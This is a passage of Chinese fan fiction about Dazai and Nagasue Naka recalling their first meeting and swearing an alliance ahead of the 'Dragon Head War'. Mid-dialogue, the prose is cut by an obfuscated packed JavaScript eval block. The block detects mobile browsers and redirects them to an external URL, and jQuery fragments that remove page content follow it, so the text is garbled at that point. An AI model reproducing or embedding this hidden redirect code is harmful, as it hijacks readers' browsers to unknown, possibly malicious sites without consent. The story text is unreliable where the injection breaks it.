……确实,太宰见过永末尚夏。
在她所认知的“初遇”之前,他见过现在的她。
那是寻常的一个入水活动日,漂浮在水流间,空气从肺部逐渐上浮,意识却飘荡向下,生和死好像都近在咫尺,现实却变成隔岸的毛玻璃……对于太宰来说,这只是简便的放松活动。
就在这次活动的边角处,却有黑色的影子忽闪而过,一次,两次,三次,好像铁路窗外,停留在电线杆上,被掠过三次的乌鸦。
不引人注意,但也让人直觉不快。
他终于是厌烦地睁开了眼睛。
透过模糊的视线,岸上跟着他的身影却不是寻找而来的部下,而是一个陌生的黑发女人。
女人以一种百无聊赖的姿态在岸边跟着他,似乎既不想下水救人,又不想放任他从视线中消失,黑色的长风衣随着她的动作上上下下,红色的围巾松松地裹着脸,艳丽得如同吊颈的牵绳。
下一秒,女人如有所觉地抬起脸,因为过于遥远的距离显得面目模糊,但从她的视线落下的那刻开始,太宰已经完全明白了。
她是为他而来的。
……
好像是什么陌生的赌局一样,太宰治任由自己随波逐流,猜测到底是任由他沉溺淹死,还是踯躅河边,不愿伸出援手的女人先一步违背心意救下他。
最终涉水而来的还是那个陌生女子。在用性命跟死亡打赌上,太宰还没输过。
黑和红穿透生死的朦胧间隙,在水波和大量气泡中,她朝他而来,他的心里莫名觉得像是见到了一只彼岸而来的报丧鸟,亲切、厌憎、想要它能停驻在手指上,又想要屈指把它碾碎在掌心。
大概就是这样的一念之差,太宰上了岸也没有立即睁眼。
装尸体这种活他也干得非常漂亮,甚至可以让心脏也稍微歇一歇。
他可以感觉得到她的目光落在他的脸上,几秒后,她轻轻地托起他的颈部,很标准地让下颌线垂直,然后她俯下身……
但接下来的展开跟他想的完全不一致。
一开始确实是一股温暖气流,顺着嘴唇相贴处通进气管,但很快就是连换气都不需要的第二股……托起他的手指变成了压制挣扎的铁钳,十几秒之后,灼烧般的痛感就填充了太宰的整个感官,让他突然觉得装死不是什么好主意。
她好像在把他当气球吹,一直吹到他不得不活过来。
“哇——”最后太宰还是在被吹炸肺和鲤鱼打挺之中选择了后者。
太宰猛地蹿起来,失去礼貌地一把推开女人,连殉情的邀请都没来得及说,就开始呕吐,肺部火烧火燎的感觉比入水糟糕一万倍,他一边吐一边还抓紧时间在间隙里头指责。
“故意的……你……呕……明明、有求于人……呕……”
“不好意思。”陌生的女人站出了几步远,她湿漉漉的长发和围巾遮挡了大半面容,只有目光在他的脸上蜻蜓点水地一掠而过,说话的声音毫无起伏,话语里头有点谜之熟练的刻薄。
“但理解了呼吸法后,我果然还是想让你试试看水之呼吸版人工呼吸。”
女性说着,停顿了两秒,太宰敏锐地捕捉到了其间转瞬而逝的一点沉默。
然后她再度开口,仿佛在怀念什么,又好像只是在回应某个稍微遥远的玩笑话。
她在应该是初次相遇的时刻,直截了当地叫他:
“太宰先生。”
*
太宰微微翕动睫毛,遮住了黑白分明的瞳孔,从暧昧不明、仿佛一张老旧照片的久远回忆中,回到了充斥着腐烂空气的垃圾场里头。
“唔,现在还不是合适的时间告诉小夏小姐呢……让我作为秘密暂时保存它,怎么样呢?”
他轻轻跳过了这个问题,仿佛这只是什么无关紧要的的问话,但神色中却流露出不会透露一点的决意。
太宰不愿意回答的问题,就算把话题扯回来一万次,他也有办法悄无声息地再把它拉回天边。
……至少永末知道自己是没有那种能力能够让他说漏嘴的。
永末不置可否,从桌边折身而起,在椅子上头落座,她还不太适应现在的身高,总觉得站着的视野有点奇怪。
“就算是现在的小夏小姐……也不适合再出现在港.黑呢……”太宰说着,像猫猫一样半搭着椅背,认真地描摹了一下眼前人的既熟悉又陌生的面容。
不管年岁和面目细节怎么变迁,一以贯之的是对方脸上没什么表情的神情。
他有点哑然地发现了自己现在其实更眼熟一点的还是少女形貌的永末,并为这奇妙的感觉而微微一哂,“森先生不会放过这么明显的疏漏的。”
“就算小夏小姐想加入援手……”
剩下的话语溶解在对方看过来的眼神之中了。
这种双方都知道在说假话的场面对太宰来说也不算少见……但他居然在这份目光中有些说不下去,这才算是罕见之处。
如果小夏小姐想加入援手,她所处的战场,必然是位于“过去”而非现在。太宰想道。
哪里有握持时间的玩家无法参与的援手呢?永末在心里说道。
……只是他之前,不想拉她进入这场阴谋和血腥的漩涡里头。
明明最开始,是打算好好“使用”她的。
“之前把小夏小姐塞进侦探社,说不定我还挺认真的……毕竟只要小夏小姐一出现,有些事情就很难藏得住。”
“即使是应该是秘密的事情……”但总有直觉,这点小夏小姐其实已经知道了。
“小夏小姐,是站在我这边的吧?”太宰突然再度确认道。
“如果说是太宰君打算去做什么,那我想,我是了解的。”
永末微微侧头,望向他的眼睛,她完全理解他话语中的未尽之意,也清楚自己此刻的存在,对于太宰来说也算是一枚定时炸弹。
本身森鸥外的疑心就让局势摇摇欲坠,她如果再度出现在对方的视野中,不光意味着格外招致他警惕心的“黑鸟”有再度入场的迹象,还意味着,汇报当时行动的中也和太宰都对他做出了欺骗和隐瞒。
所以,她无法回到港.黑,或者说……
“我没办法回到首领是森先生港.黑,但只要他不是了,那就没有关系了,对吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263279|174009||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?太宰君。”
“只要港.黑的首领不介意,不管是疑点、是否有背叛的嫌疑、跟‘黑鸟’存不存在关系,就都没有关系吧。”
“没有拿着这一点去戳破什么,我想,我已经证明了我对太宰君的‘真心’吧……不过唯独不清楚的,是太宰君打算怎么实践呢。”
“……龙头战争。”太宰在短暂的沉默之后,还是让真话轻易地游弋出来了。
也许是脸贴脸的距离太近,让人觉得即使说点真话也没有关系。
永末一怔,没有料想到他会真的回应。
虽然知道他一定会登上首领的位置,但是……她以为在他做到之前,即使有所暗示也不会亲口承认的。
只能是那个时刻,几个月之后的龙头战争,毕竟不在那个时候清理掉森先生,他就真的得变出一只“黑鸟”了结任务了呢,所以在那之前,还是趁早让森先生退位吧。
太宰将千回百转的阴谋在肚子里边打了个转,多余的话全都变化成为一句轻飘飘的许诺,他微笑道。
“等到‘龙头战争’结束,小夏小姐在横滨,就哪里都可以去了。”
“太宰君。”永末突兀地开口,她还是老样子,在说重要的话时,喜欢看向听者的眼睛,这让样貌变化带来的成熟感被削弱了一点。
她好像一个相信诺言,觉得什么人都不会说谎的笨蛋小孩子那样伸出小指,“继续维系这段‘一见钟情’的盟约吧?太宰君。”
“……其实已经答应小夏小姐了哦。”太宰讶然,还是依照她的意思把手指互相扣上了。
“不是哦……太宽泛的东西不是我想要的。”永末没有迟疑,“跟太宰达成he,是我单方面强求,一定要去做的事情。”
“盟约是指别的东西……”她微微凑近太宰了一点,近得让他想退缩,“我想……参与你所有的人生……见证你所有的人生节点。所有重大计划,重要之事,都请让我参与。”
这只是为了方便刷CG,玩家这么觉得。
她凝视着太宰眼中映照出的自己,也同样凝视着他瞳孔中轻微的震颤。
“我还想……了解太宰君度过此生的意义和目的,想知道太宰君眼中的‘爱’这种虚无缥缈的东西的定义……想知道我们曾经怎么认识,太宰君对我又有什么了解……”
这个完全是为了安全考虑,玩家这么觉得。
“为此……我愿意暂时以你的方向,作为我的方向。”
“在前行过程中,太宰君可以使用我的一切。不管是当做刀剑、棋子……还是别的什么,尽可以物尽其用,不用客气。”
“请跟我结成这样的盟约。”永末冷彻地请求,扣住了对方好像想要逃走的小指。
“……好啊。”
半晌,太宰听见自己的声音在空气中坠下,不知道是不是因为期待而微微颤动。
“……背誓的人呢?会吞一千根针而死吗?”
永末轻轻摇动他们相扣的手指,晃了晃才重新松开,端庄地完成了起誓。
她难能可贵地露出了温和的笑容,“不,说谎的人,会长命百岁,永远不死。”